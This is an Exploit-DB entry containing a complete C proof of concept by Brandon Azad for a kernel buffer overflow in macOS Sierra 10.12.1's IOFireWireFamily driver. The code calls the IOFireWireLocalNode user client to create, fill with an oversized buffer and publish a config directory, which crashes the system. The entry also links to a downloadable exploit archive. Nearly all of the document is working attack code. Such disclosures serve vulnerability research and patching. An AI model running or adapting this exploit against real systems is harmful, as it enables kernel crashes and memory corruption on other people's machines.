Apple macOS Sierra 10.12.1 - 'IOFireWireFamily' FireWire Port Denial of Service

EDB-ID:

44235


Type:

dos


Platform:

macOS

Date:

2017-08-19


/*
 * IOFireWireFamily-overflow.c
 * Brandon Azad
 *
 * Buffer overflow reachable from IOFireWireUserClient::localConfigDirectory_Publish.
 *
 * Download: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/44235.zip
*/

#include <IOKit/IOKitLib.h>
#include <stdlib.h>
#include <string.h>

int main() {
	int ret = 0;
	io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault,
			IOServiceMatching("IOFireWireLocalNode"));
	if (service == IO_OBJECT_NULL) {
		ret = 1;
		goto fail1;
	}
	io_connect_t connect;
	kern_return_t kr = IOServiceOpen(service, mach_task_self(), 0, &connect);
	IOObjectRelease(service);
	if (kr != KERN_SUCCESS) {
		ret = 2;
		goto fail1;
	}
	// localConfigDirectory_Create
	uint64_t directory = 0;
	uint32_t output_count = 1;
	kr = IOConnectCallMethod(connect, 16,
			NULL, 0, NULL, 0,
			&directory, &output_count, NULL, NULL);
	if (kr != KERN_SUCCESS) {
		ret = 3;
		goto fail2;
	}
	// localConfigDirectory_addEntry_Buffer
	uint32_t size = 0x100000;
	void *buffer = malloc(size);
	memset(buffer, 0xaa, size);
	uint64_t addEntry_Buffer_args[6] = { directory, 0, (uint64_t)buffer, size, 0, 0 };
	kr = IOConnectCallMethod(connect, 17,
			addEntry_Buffer_args,
			sizeof(addEntry_Buffer_args) / sizeof(*addEntry_Buffer_args),
			NULL, 0,
			NULL, NULL, NULL, NULL);
	free(buffer);
	if (kr != KERN_SUCCESS) {
		ret = 4;
		goto fail2;
	}
	// localConfigDirectory_Publish
	kr = IOConnectCallMethod(connect, 21,
			&directory, 1, NULL, 0,
			NULL, NULL, NULL, NULL);
	if (kr != KERN_SUCCESS) {
		ret = 5;
		goto fail2;
	}
fail2:
	IOServiceClose(connect);
fail1:
	return ret;
}